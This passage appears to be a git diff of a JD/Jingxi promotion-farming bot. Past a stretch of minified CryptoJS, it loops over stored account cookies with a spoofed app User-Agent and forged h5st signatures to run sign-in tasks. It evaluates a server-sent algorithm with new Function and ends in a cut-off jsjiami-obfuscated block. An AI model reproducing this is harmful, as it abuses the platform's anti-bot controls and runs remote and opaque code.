65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t }); -const $ = new Env('京喜领88元红包'); -const notify = $.isNode() ? require('./sendNotify') : {}; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : {}; -let cookiesArr = [], cookie = ''; -let UA, UAInfo = {}, codeInfo = {}, token; +const $ = new Env('京喜签到-喜豆'); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let UA; +$.shareCodes = []; +$.blackInfo = {} +$.appId = 10028; if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) - }); + }) if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; } else { - cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } -$.packetIdArr = []; -$.activeId = '529439'; -const BASE_URL = 'https://m.jingxi.com/cubeactive/steprewardv3' -$.appId = "e395f" !(async () => { + $.CryptoJS = $.isNode() ? require("crypto-js") : CryptoJS; + await requestAlgo(); + await $.wait(1000); if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); return; } - let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jxhb.json') - if (!res) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxhb.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxhb.json') - } - if (res && res.activeId) $.activeId = res.activeId; - $.authorMyShareIds = [...((res && res.codes) || [])]; - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo() - await $.wait(1000) - //开启红包,获取互助码 for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true - $.nickName = '' - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.commonlist = [] + $.black = false + $.sqactive = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`) + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }) - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - token = await getJxToken() - await main(); - } - //互助 - console.log(`\n自己京东账号助力码:\n${JSON.stringify($.packetIdArr)}\n`); - console.log(`\n开始助力:助力逻辑 先自己京东相互助力,如有剩余助力机会,则助力作者\n`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.canHelp = true; - UA = UAInfo[$.UserName] - token = await getJxToken() - for (let j = 0; j < $.packetIdArr.length && $.canHelp; j++) { - console.log(`【${$.UserName}】去助力【${$.packetIdArr[j].userName}】邀请码:${$.packetIdArr[j].strUserPin}`); - if ($.UserName === $.packetIdArr[j].userName) { - console.log(`助力失败:不能助力自己`) - continue - } - $.max = false; - await enrollFriend($.packetIdArr[j].strUserPin); - await $.wait(5000); - if ($.max) { - $.packetIdArr.splice(j, 1) - j-- + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`) + } continue } - } - if ($.canHelp && ($.authorMyShareIds && $.authorMyShareIds.length)) { - console.log(`\n【${$.UserName}】有剩余助力机会,开始助力作者\n`) - for (let j = 0; j < $.authorMyShareIds.length && $.canHelp; j++) { - console.log(`【${$.UserName}】去助力作者的邀请码:${$.authorMyShareIds[j]}`); - $.max = false; - await enrollFriend($.authorMyShareIds[j]); - await $.wait(5000); - if ($.max) { - $.authorMyShareIds.splice(j, 1) - j-- - continue + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + await signhb() + await $.wait(2000) + if (!$.black) { + if ($.commonlist && $.commonlist.length) { + console.log("开始做喜豆任务") + for (let j = 0; j < $.commonlist.length && !$.black; j++) { + await dotask($.commonlist[j]); + await $.wait(2000); + } + } else { + console.log("喜豆任务已完成") } + } else { + console.log(`此账号已黑`) } } } - //拆红包 - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.canOpenGrade = true; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - UA = UAInfo[$.UserName] - token = await getJxToken() - for (let grade of $.grades) { - if (!codeInfo[$.UserName]) continue; - console.log(`\n【${$.UserName}】去拆第${grade}个红包`); - await openRedPack(codeInfo[$.UserName], grade); - if (!$.canOpenGrade) break - await $.wait(15000); - } - } })() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function main() { - await joinActive(); - await $.wait(2000); - await getUserInfo(); -} -//参与活动 -function joinActive() { - return new Promise(resolve => { - $.get(taskurl('JoinActive', `stepreward_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&strPin=`), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`活动开启成功\n`); - } else { - console.log(`活动开启失败:${data.sErrMsg}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); }) -} -//获取助力码 -function getUserInfo() { - return new Promise(resolve => { - $.get(taskurl('GetUserInfo'), (err, resp, data) => { + .finally(() => { + $.done(); + }) + +// 查询信息 +function signhb() { + return new Promise((resolve) => { + $.get(taskUrl("signhb/query", "type=0&signhb_source=5&smp=&ispp=1&tk="), async (err, resp, data) => { try { if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); + console.log(JSON.stringify(err)); + console.log(`${$.name} query签到 API请求失败,请检查网路重试`); } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - $.grades = [] - $.helpNum = '' - let grades = data.Data.gradeConfig - for(let key of Object.keys(grades)){ - let vo = grades[key] - $.grades.push(vo.dwGrade) - $.helpNum = vo.dwHelpTimes - } - if (data.Data.dwHelpedTimes === $.helpNum) { - console.log(`${$.grades[$.grades.length - 1]}个阶梯红包已全部拆完\n`) - } else { - console.log(`获取助力码成功:${data.Data.strUserPin}\n`); - if (data.Data.strUserPin) { - $.packetIdArr.push({ - strUserPin: data.Data.strUserPin, - userName: $.UserName - }) - } - } - if (data.Data.strUserPin) { - codeInfo[$.UserName] = data.Data.strUserPin + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + const { + commontask, + sqactive + } = data + $.sqactive = sqactive + for (let i = 0; i < commontask.length; i++) { + if (commontask[i].task && commontask[i].status != 2) { + $.commonlist.push(commontask[i].task) } - } else { - console.log(`获取助力码失败:${data.sErrMsg}\n`); } } } catch (e) { @@ -216,108 +130,54 @@ function getUserInfo() { }) }) } -//助力好友 -function enrollFriend(strPin) { - return new Promise(resolve => { - $.get(taskurl('EnrollFriend', `stepreward_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&strPin=${strPin}`), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.log(JSON.stringify(err)); - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`助力成功🎉:${data.sErrMsg}\n`); + +// 任务 +function dotask(task) { + return new Promise((resolve) => { + $.get(taskUrl("signhb/dotask", `task=${task}&signhb_source=5&ispp=1&sqactive=${$.sqactive}&tk=`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} dotask API请求失败,请检查网路重试`); } else { - if (data.iRet === 2000) $.canHelp = false;//未登录 - if (data.iRet === 2015) $.canHelp = false;//助力已达上限 - if (data.iRet === 2016) { - $.canHelp = false;//助力火爆 - console.log(`温馨提示:如提示助力火爆,可尝试寻找京东客服`); + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log(`完成任务 获得${data.sendxd}喜豆`); + } else if (data.ret === 1003) { + console.log(`此账号已黑`); + $.black = true; + } else { + console.log(JSON.stringify(data)); } - if (data.iRet === 2013 || data.iRet === 2011) $.max = true; - console.log(`助力失败:${data.sErrMsg}\n`); } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function openRedPack(strPin, grade) { - return new Promise(resolve => { - $.get(taskurl('DoGradeDraw', `grade=${grade}`), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`拆红包成功:${data.sErrMsg}\n`); - } else { - if (data.iRet === 2017) $.canOpenGrade = false; - console.log(`拆红包失败:${data.sErrMsg}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - resolve(JSON.parse(data)) - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000) - resolve(); - }) + }); + }); } -function taskurl(function_path, body = '') { - let url = `${BASE_URL}/${function_path}?activeId=${$.activeId}${body ? `&${body}` : ''}`; - url += `&_stk=${getStk(url)}`; - url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&userDraw=0&publishFlag=1&channel=7&_t=${Date.now()}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; +function taskUrl(functionId, body = '') { + let url = `` + if (body) { + url = `${JD_API_HOST}fanxiantask/${functionId}?${body}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `${JD_API_HOST}fanxiantask/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } return { url, headers: { "Host": "m.jingxi.com", "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", "User-Agent": UA, "Accept-Language": "zh-CN,zh-Hans;q=0.9", "Referer": "https://st.jingxi.com/", + "Accept-Encoding": "gzip, deflate, br", "Cookie": cookie } } @@ -373,6 +233,17 @@ function TotalBean() { }) }) } +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} /* 修改时间戳转换函数,京喜工厂原版修改 */ @@ -419,7 +290,7 @@ async function requestAlgo() { 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' }, 'body': JSON.stringify({ - "version": "3.0", + "version": "1.0", "fp": $.fingerprint, "appId": $.appId.toString(), "timestamp": Date.now(), @@ -427,7 +298,7 @@ async function requestAlgo() { "expandParams": "" }) } - return new Promise(async resolve => { + new Promise(async resolve => { $.post(options, (err, resp, data) => { try { if (err) { @@ -441,11 +312,12 @@ async function requestAlgo() { $.token = data.data.result.tk; let enCryptMethodJDString = data.data.result.algo; if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - // console.log(`获取签名参数成功!`) - // console.log(`fp: ${$.fingerprint}`) - // console.log(`token: ${$.token}`) - // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) } else { + console.log(`fp: ${$.fingerprint}`) console.log('request_algo 签名参数API请求失败:') } } else { @@ -481,7 +353,7 @@ function decrypt(time, stk, type, url) { const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); // console.log(`\nst:${st}`) // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(Date.now() + 2)].join(";")) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) } else { return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' } @@ -523,7 +395,5 @@ function generateFp() { i += e[Math.random() * e.length | 0]; return (i + Date.now()).slice(0,16) } -var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var 